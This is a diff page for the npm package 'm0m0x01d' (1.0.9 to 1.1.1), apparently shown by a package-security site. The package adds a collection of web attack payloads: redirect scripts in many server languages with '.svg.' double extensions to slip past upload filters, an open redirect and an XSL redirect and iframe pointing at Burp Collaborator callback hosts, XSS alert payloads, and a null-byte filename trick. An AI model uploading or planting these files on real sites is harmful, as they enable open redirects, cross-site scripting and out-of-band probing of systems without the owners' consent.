m0m0x01d 1.0.9 → 1.1.1
Sign up to get free protection for your applications and to get access to all the features.
- package/.htaccess +8 -0
- package/package.json +1 -1
- package/redirect.svg.asp +1 -0
- package/redirect.svg.aspx +1 -0
- package/redirect.svg.cfm +1 -0
- package/redirect.svg.cs +1 -0
- package/redirect.svg.cshtml +1 -0
- package/redirect.svg.html +25 -0
- package/redirect.svg.js +1 -0
- package/redirect.svg.jsp +3 -0
- package/redirect.svg.php +21 -0
- package/redirect.svg.pl +1 -0
- package/redirect.svg.py +2 -0
- package/redirect.svg.rb +1 -0
- package/redirect.svg.xml +3 -0
- package/redirect.svg.xsl +14 -0
- package/redirect2.svg.html +11 -0
- package/redirecting.svg.html +15 -0
- package/test.html +4 -0
- package/test.html%00.pdf +1 -0
- package/test.svg.html +1 -0
- package/test.svg.txt +1 -0
- package/testing.svg.html +1 -0
- package/xss.svg.html +4 -0
- package/xss1.svg.html +6 -0
package/.htaccess
ADDED
package/package.json
CHANGED
package/redirect.svg.asp
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<% Response.Redirect("https://example.com") %>
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<% Response.Redirect("https://example.com") %>
|
package/redirect.svg.cfm
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<cflocation url="https://example.com">
|
package/redirect.svg.cs
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
return Redirect("https://example.com");
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
return Redirect("https://example.com");
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
6
|
+
<title>Redirect</title>
|
|
7
|
+
<script>
|
|
8
|
+
window.onload = function() {
|
|
9
|
+
// Get the URL query parameter
|
|
10
|
+
const urlParams = new URLSearchParams(window.location.search);
|
|
11
|
+
const targetUrl = urlParams.get('url');
|
|
12
|
+
|
|
13
|
+
// If a valid URL is provided, redirect to it
|
|
14
|
+
if (targetUrl) {
|
|
15
|
+
window.location.href = targetUrl;
|
|
16
|
+
} else {
|
|
17
|
+
document.body.innerHTML = "No URL provided for redirection.";
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
</script>
|
|
21
|
+
</head>
|
|
22
|
+
<body>
|
|
23
|
+
</body>
|
|
24
|
+
</html>
|
|
25
|
+
|
package/redirect.svg.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
res.redirect('https://example.com');
|
package/redirect.svg.jsp
ADDED
package/redirect.svg.php
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
<?php
|
|
2
|
+
// Get the target URL from the 'next_url' query parameter
|
|
3
|
+
$next_url = isset($_GET['next_url']) ? $_GET['next_url'] : 'https://9lv13zw73wdy5t6hjxcpw5tz9qfh36.burpcollaborator.net';
|
|
4
|
+
|
|
5
|
+
// Set the appropriate headers for the 302 redirect
|
|
6
|
+
header("HTTP/1.1 302 Found");
|
|
7
|
+
header("Location: $next_url");
|
|
8
|
+
|
|
9
|
+
// Optional: Set additional headers if required
|
|
10
|
+
header("Cache-Control: public, max-age=0");
|
|
11
|
+
header("Set-Cookie: sites=; expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/");
|
|
12
|
+
header("Set-Cookie: sessionid=; expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/");
|
|
13
|
+
header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");
|
|
14
|
+
header("X-Frame-Options: SAMEORIGIN");
|
|
15
|
+
header("X-XSS-Protection: 1; mode=block");
|
|
16
|
+
header("X-Content-Type-Options: nosniff");
|
|
17
|
+
header("Content-Security-Policy: frame-ancestors 'self'; base-uri 'self'; form-action 'self' https://*.example.com; upgrade-insecure-requests");
|
|
18
|
+
|
|
19
|
+
// Ensure the connection is closed after the headers
|
|
20
|
+
exit();
|
|
21
|
+
|
package/redirect.svg.pl
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
print "Location: https://example.com\n\n";
|
package/redirect.svg.py
ADDED
package/redirect.svg.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
redirect_to "https://example.com"
|
package/redirect.svg.xml
ADDED
package/redirect.svg.xsl
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
2
|
+
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
|
|
3
|
+
<xsl:template match="/">
|
|
4
|
+
<xsl:variable name="url" select="'https://086sqqjyqn0pskt86ozgjwgqwh2aqz.burpcollaborator.net'"/>
|
|
5
|
+
<html>
|
|
6
|
+
<head>
|
|
7
|
+
<meta http-equiv="refresh" content="0; url={$url}" />
|
|
8
|
+
</head>
|
|
9
|
+
<body>
|
|
10
|
+
Redirecting to <xsl:value-of select="$url" />
|
|
11
|
+
</body>
|
|
12
|
+
</html>
|
|
13
|
+
</xsl:template>
|
|
14
|
+
</xsl:stylesheet>
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta http-equiv="refresh" content="0; url=https://www.example.com">
|
|
6
|
+
<title>Redirecting...</title>
|
|
7
|
+
</head>
|
|
8
|
+
<body>
|
|
9
|
+
<p>If you are not redirected automatically, follow this <a href="https://www.example.com">link to the new page</a>.</p>
|
|
10
|
+
</body>
|
|
11
|
+
</html>
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
<!DOCTYPE HTML>
|
|
2
|
+
<html lang="en-US">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta http-equiv="refresh" content="0; url=http://example.com">
|
|
6
|
+
<script type="text/javascript">
|
|
7
|
+
window.location.href = "http://example.com"
|
|
8
|
+
</script>
|
|
9
|
+
<title>Page Redirection</title>
|
|
10
|
+
</head>
|
|
11
|
+
<body>
|
|
12
|
+
<!-- Note: don't tell people to `click` the link, just tell them that it is a link. -->
|
|
13
|
+
If you are not redirected automatically, follow this <a href='http://example.com'>link to example</a>.
|
|
14
|
+
</body>
|
|
15
|
+
</html>
|
package/test.html
ADDED
package/test.html%00.pdf
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<script>alert(document.domain)</script>
|
package/test.svg.html
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<script>alert(document.domain)</script>
|
package/test.svg.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
testing123
|
package/testing.svg.html
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
<iframe src="https://wttobm4ubjlldge4rkkc4s1mhdn3bs.burpcollaborator.net"></iframe>
|
package/xss.svg.html
ADDED